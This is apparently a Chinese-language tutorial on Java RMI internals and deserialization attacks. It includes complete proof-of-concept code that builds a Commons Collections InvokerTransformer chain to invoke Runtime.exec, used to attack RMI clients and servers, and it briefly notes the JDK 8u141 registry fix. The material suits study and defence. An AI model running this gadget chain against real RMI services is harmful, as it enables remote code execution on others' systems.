1、RMI是什么
RMI(Remote Method Invocatio),是一种跨JVM实现方法调用的技术。一般由三个部分组成
-
Client(客户端) Registry取得服务端注册的服务,然后调用远程方法
// Connect to RMI Registry :localhost:1099 Registry registry = LocateRegistry.getRegistry("localhost", 1099); // search service which called evil and cast type to EvilService EvilService evilService = (EvilService) registry.lookup("evil"); //call evil method and need to call "put" function to trigger //evilTransformerMap方法具体的执行逻辑是在服务端执行的,并返回结果给client Map evilObject = (Map)evilService.evilTransformerMap();
Registry(注册中心) 可以理解成一个存储远程对象的字典,负责网络传输的模块
-
Server(服务端) 负责在注册中心注册服务,其实就是将一个远程对象给Registry进行封装
//实例化一个EvilService 即要绑定的对象 EvilService evilService = new EvilServiceImpl(); // 将此服务转换为远程服务接口 EvilService skeleton = (EvilService) UnicastRemoteObject.exportObject(evilService,0); //创建注册中心 Registry registry = LocateRegistry.createRegistry(1099); //将服务注册 registry.bind("evil",skeleton);
PS:在低版本的JDK中,Server
与Registry
是可以不在一台服务器上的,而在高版本的JDK中,Server
与Registry
只能在一台服务器上,否则无法注册成功。
2、服务端或服务端与注册中心通信
2.1 本地获取注册中心
本地获取是在创建的同时返回Registry
对象(RegistryImpl
)通过createRegistry
方法如:
Registry registry = LocateRegistry.createRegistry(1099);
获取对象后可以进行bind,list,lookup,rebind,unbind
等操作
2.2 远程获取注册中心
通过getRegistry
方法获得的对象是RegistryImpl_Stub
对象而createRegistry
获得的是RegistryImpl
对象。
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
这两者的区别在于在对Registry
进行操作的时候流程会有不同,有兴趣的同学可以尝试打断点进行调试查看具体区别
2.3 客户端与服务端的通信
这里主要讲一下会引发反序列化的环节
当客户端发起调用远程方法的时候,实际上是客户端与2.4中的Skeleton
进行通信,而如果返回客户端的执行结果是一个对象,则在客户端会对其进行反序列化
而当服务端接收的某个参数类型是Object
的时候,则会出现在服务端反序列化的情况。
2.4 流程图
3、反序列化攻击
3.1 攻击Registry
注册中心直接利用bind
或rebind
即可攻击这里不再赘述了
3.2 攻击Client
EvilObject
public class EvilServiceImpl implements EvilService {
public EvilServiceImpl(){
}
public Transformer gadgetTransformerChain(){
Transformer transformerChain = null;
try {
transformerChain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})});
}catch (Exception e){
e.printStackTrace();
}
return transformerChain;
}
public Object evilTransformerMap() throws RemoteException {
//转化为map
Map outputMap = TransformedMap.decorate(new HashMap<>(),null,gadgetTransformerChain());
return outputMap;
}
}
Server
public class RMIServer {
public static void main(String[] args) {
try {
//实例化一个EvilService
EvilService evilService = new EvilServiceImpl();
// 将此服务转换为远程服务接口
EvilService skeleton = (EvilService) UnicastRemoteObject.exportObject(evilService,0);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("evil",skeleton);
}catch (Exception e){
e.printStackTrace();
}
}
}
Client
public class RMIClient {
public static void main(String[] args) throws Exception {
// Connect to RMI Registry :localhost:1099
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// search service which called evil and cast type to EvilService
EvilService evilService = (EvilService) registry.lookup("evil");
//call evil method and need to call "put" function to trigger
//deserialize will happen when function evilTransformerMap() is called
Map evilObject = (Map)evilService.evilTransformerMap();
evilObject.put("1","111");
}
}
3.3 攻击Server
大体上没什么变化只是evilObject
的发送方产生了变化
RMIClient
public class RMIClient {
public static void main(String[] args) throws Exception {
Transformer transformerChain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})});
Map outputMap = TransformedMap.decorate(new HashMap<>(),null,transformerChain);
// Connect to RMI Registry :localhost:1099
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
Service service = (Service) registry.lookup("evil");
//触发服务端反序列化
service.evil(outputMap);
}
}
ServiceImpl
public class ServiceImpl implements Service {
public ServiceImpl(){
}
@Override
public void evil(Object evilObject) throws RemoteException {
((Map) evilObject).put("1","111");
}
}
4、修复
1、在高版本的jdk(8u141)
中,RegistryImpl#bind
中添加了一个checkAccess
方法,来检验你的来源是否为localhost
,这个修复解决了攻击注册中心的问题